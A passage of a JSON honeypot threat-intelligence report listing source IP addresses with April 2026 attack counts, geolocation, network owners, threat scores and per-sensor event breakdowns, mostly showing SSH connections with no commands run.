      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 89.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.3,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 106,
        "days_active_30d": 29,
        "ports_targeted_30d": 30,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-02T00:51:00+00:00",
        "last_seen_30d": "2026-04-30T04:38:46.058000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 70,
        "Honeytrap": 28,
        "Cowrie": 4,
        "Redishoneypot": 3,
        "ConPot": 1
      }
    },
    "195.184.76.169": {
      "attack_count": 4,
      "first_seen": "2026-04-07T20:03:11.402Z",
      "last_seen": "2026-04-07T20:03:11.900Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 80.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.0,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 101,
        "days_active_30d": 28,
        "ports_targeted_30d": 37,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-02T07:32:37+00:00",
        "last_seen_30d": "2026-04-29T15:00:03.529000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 59,
        "Honeytrap": 37,
        "Cowrie": 4,
        "Dionaea": 1
      }
    },
    "205.210.31.37": {
      "attack_count": 4,
      "first_seen": "2026-04-06T22:21:32.665Z",
      "last_seen": "2026-04-06T22:21:35.905Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 75.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.7,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 74,
        "days_active_30d": 26,
        "ports_targeted_30d": 24,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-03T21:11:58.275000+00:00",
        "last_seen_30d": "2026-04-28T21:52:29.530000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 48,
        "Honeytrap": 20,
        "Cowrie": 4,
        "ConPot": 2
      }
    },
    "205.210.31.99": {
      "attack_count": 4,
      "first_seen": "2026-04-07T10:52:12.374Z",
      "last_seen": "2026-04-07T10:52:15.571Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 82.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.5,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 113,
        "days_active_30d": 28,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T18:33:02+00:00",
        "last_seen_30d": "2026-04-28T00:01:43.212000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 74,
        "Honeytrap": 28,
        "Mailoney": 5,
        "Cowrie": 4,
        "Honeyaml": 2
      }
    },
    "103.176.179.134": {
      "attack_count": 3,
      "first_seen": "2026-04-28T13:04:48.448Z",
      "last_seen": "2026-04-28T13:05:04.996Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        ""
      ],
      "passwords_attempted": [
        "id"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 131353,
      "as_org": "NhanHoa Software company",
      "threat_score": 20.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.0,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T18:58:44.883000+00:00",
        "last_seen_30d": "2026-04-28T13:06:14.588000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "45.156.128.118": {
      "attack_count": 3,
      "first_seen": "2026-04-19T19:32:06.020Z",
      "last_seen": "2026-04-19T19:32:11.757Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 211680,
      "as_org": "Sistemas Informaticos, S.A.",
      "threat_score": 33.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.8,
        "persistence": 15.8,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 19,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T23:35:37.021000+00:00",
        "last_seen_30d": "2026-04-19T19:33:20.483000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 3,
        "Honeytrap": 3
      }
    },
    "58.249.128.96": {
      "attack_count": 3,
      "first_seen": "2026-04-02T06:03:48.206Z",
      "last_seen": "2026-04-02T06:05:48.258Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 17622,
      "as_org": "China Unicom Guangzhou network",
      "threat_score": 2.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T06:03:48.206000+00:00",
        "last_seen_30d": "2026-04-02T06:14:04.923000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 3
      }
    },
    "8.215.69.55": {
      "attack_count": 3,
      "first_seen": "2026-04-02T18:43:27.712Z",
      "last_seen": "2026-04-02T18:45:10.547Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Jakarta",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 2.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T18:43:27.712000+00:00",
        "last_seen_30d": "2026-04-02T18:46:19.522000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "1.214.29.155": {
      "attack_count": 2,
      "first_seen": "2026-04-13T10:46:18.921Z",
      "last_seen": "2026-04-13T10:46:49.583Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seoul",
      "asn": 3786,
      "as_org": "LG DACOM Corporation",
      "threat_score": 18.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.0,
        "persistence": 9.2,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 11,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-03T18:20:06+00:00",
        "last_seen_30d": "2026-04-13T10:47:55.455000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Suricata": 13,
        "Honeytrap": 10,
        "Cowrie": 2
      }
    },
    "103.184.56.220": {
      "attack_count": 2,
      "first_seen": "2026-04-14T09:03:23.713Z",
      "last_seen": "2026-04-14T09:03:37.212Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 149667,
      "as_org": "PT Gading Bhakti Utama",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T09:03:23.713000+00:00",
        "last_seen_30d": "2026-04-14T09:04:44.490000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "103.237.157.42": {
      "attack_count": 2,
      "first_seen": "2026-04-15T00:50:17.563Z",
      "last_seen": "2026-04-15T00:50:29.950Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Najafgarh",
      "asn": 132934,
      "as_org": "Skymax Broadband Services Pvt. Ltd.",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T00:50:17.563000+00:00",
        "last_seen_30d": "2026-04-15T00:51:34.039000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "106.76.72.22": {
      "attack_count": 2,
      "first_seen": "2026-04-29T07:04:57.093Z",
      "last_seen": "2026-04-29T07:05:09.969Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Raipur",
      "asn": 45271,
      "as_org": "Vodafone Idea Ltd",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T07:04:57.093000+00:00",
        "last_seen_30d": "2026-04-29T07:06:17.718000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "117.245.143.129": {
      "attack_count": 2,
      "first_seen": "2026-04-07T23:49:45.619Z",
      "last_seen": "2026-04-07T23:49:59.340Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "S\u012bkar",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T23:49:45.619000+00:00",
        "last_seen_30d": "2026-04-07T23:51:00.876000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "118.70.176.2": {
      "attack_count": 2,
      "first_seen": "2026-04-04T20:55:12.392Z",
      "last_seen": "2026-04-04T20:55:12.626Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Hanoi",
      "asn": 18403,
      "as_org": "FPT Telecom Company",
      "threat_score": 2.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T20:55:12.392000+00:00",
        "last_seen_30d": "2026-04-04T20:56:17.068000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "119.162.34.178": {
      "attack_count": 2,
      "first_seen": "2026-04-30T05:57:56.039Z",
      "last_seen": "2026-04-30T05:58:08.514Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Jinan",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T05:57:56.039000+00:00",
        "last_seen_30d": "2026-04-30T05:59:18.453000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "165.56.66.131": {
      "attack_count": 2,
      "first_seen": "2026-04-30T19:20:29.398Z",
      "last_seen": "2026-04-30T19:20:42.597Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Zambia",
      "country_code": "ZM",
      "city": "Lusaka",
      "asn": 37154,
      "as_org": "ZAMTEL",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T19:20:29.398000+00:00",
        "last_seen_30d": "2026-04-30T19:21:52.607000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "166.62.42.127": {
      "attack_count": 2,
      "first_seen": "2026-04-30T06:04:20.832Z",
      "last_seen": "2026-04-30T06:04:51.429Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398101,
      "as_org": "GoDaddy.com, LLC",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T06:04:20.832000+00:00",
        "last_seen_30d": "2026-04-30T06:05:58.702000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "194.88.98.85": {
      "attack_count": 2,
      "first_seen": "2026-04-10T22:00:58.287Z",
      "last_seen": "2026-04-10T22:00:58.603Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 25369,
      "as_org": "Hydra Communications Ltd",
      "threat_score": 27.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.1,
        "persistence": 8.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 129,
        "days_active_30d": 10,
        "ports_targeted_30d": 52,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-03T08:14:39.322000+00:00",
        "last_seen_30d": "2026-04-12T09:29:39.084000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Suricata": 95,
        "Honeytrap": 30,
        "Cowrie": 2,
        "Dionaea": 2
      }
    },
    "198.235.24.171": {
      "attack_count": 2,
      "first_seen": "2026-04-01T07:55:35.619Z",
      "last_seen": "2026-04-01T07:55:45.358Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 88.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 18.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 78,
        "days_active_30d": 30,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-01T05:03:00+00:00",
        "last_seen_30d": "2026-04-30T16:18:07.117000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 57,
        "Honeytrap": 15,
        "ConPot": 2,
        "Cowrie": 2,
        "Dionaea": 1,
        "Wordpot": 1
      }
    },
    "198.235.24.230": {
      "attack_count": 2,
      "first_seen": "2026-04-02T21:29:57.848Z",
      "last_seen": "2026-04-02T21:29:58.158Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 84.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.2,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 83,
        "days_active_30d": 28,
        "ports_targeted_30d": 26,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-02T06:00:40+00:00",
        "last_seen_30d": "2026-04-29T05:20:51.140000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 57,
        "Honeytrap": 22,
        "Cowrie": 2,
        "Dionaea": 1,
        "Sentrypeer": 1
      }
    },
    "205.164.207.39": {
      "attack_count": 2,
      "first_seen": "2026-04-05T06:17:36.729Z",
      "last_seen": "2026-04-05T06:18:07.162Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Fort Lauderdale",
      "asn": 11580,
      "as_org": "Island Networks Ltd",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T06:17:36.729000+00:00",
        "last_seen_30d": "2026-04-05T06:19:09.582000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "27.10.17.116": {
      "attack_count": 2,
      "first_seen": "2026-04-29T04:11:14.439Z",
      "last_seen": "2026-04-29T04:11:23.922Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Chongqing",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T04:11:14.439000+00:00",
        "last_seen_30d": "2026-04-29T04:12:26.257000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "31.56.144.12": {
      "attack_count": 2,
      "first_seen": "2026-04-24T23:33:24.757Z",
      "last_seen": "2026-04-24T23:33:54.984Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Reston",
      "asn": 214828,
      "as_org": "StarLight Network, Inc.",
      "threat_score": 27.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.8,
        "persistence": 1.7,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 2,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-24T23:33:24.757000+00:00",
        "last_seen_30d": "2026-04-25T18:47:32.570000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Adbhoney": 3,
        "Cowrie": 2
      }
    },
    "45.189.56.104": {
      "attack_count": 2,
      "first_seen": "2026-04-30T10:12:49.163Z",
      "last_seen": "2026-04-30T10:14:49.168Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ecuador",
      "country_code": "EC",
      "city": "Quito",
      "asn": 269853,
      "as_org": "CBVISION S.A.",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T10:12:49.163000+00:00",
        "last_seen_30d": "2026-04-30T10:15:57.611000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "45.82.78.106": {
      "attack_count": 2,
      "first_seen": "2026-04-17T13:34:10.501Z",
      "last_seen": "2026-04-17T13:34:10.601Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 212512,
      "as_org": "Detai Prosperous Technologies Limited",
      "threat_score": 100,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 1263,
        "days_active_30d": 30,
        "ports_targeted_30d": 156,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T01:40:05+00:00",
        "last_seen_30d": "2026-04-30T12:17:51.245000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 640,
        "Honeytrap": 611,
        "Dicompot": 9,
        "Cowrie": 2,
        "Ipphoney": 1
      }
    },
    "47.239.4.20": {
      "attack_count": 2,
      "first_seen": "2026-04-28T01:36:27.291Z",
      "last_seen": "2026-04-28T01:36:58.063Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T01:36:27.291000+00:00",
        "last_seen_30d": "2026-04-28T01:38:07.964000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "5.142.58.47": {
      "attack_count": 2,
      "first_seen": "2026-04-05T17:43:22.090Z",
      "last_seen": "2026-04-05T17:43:36.379Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 12389,
      "as_org": "Rostelecom",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T17:43:22.090000+00:00",
        "last_seen_30d": "2026-04-05T17:44:41.461000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "61.76.24.115": {
      "attack_count": 2,
      "first_seen": "2026-04-25T22:00:13.104Z",
      "last_seen": "2026-04-25T22:00:26.429Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Busan",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T22:00:13.104000+00:00",
        "last_seen_30d": "2026-04-25T22:01:29.280000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "78.128.114.118": {
      "attack_count": 2,
      "first_seen": "2026-04-03T10:39:44.907Z",
      "last_seen": "2026-04-03T10:39:45.745Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": null,
      "asn": 50360,
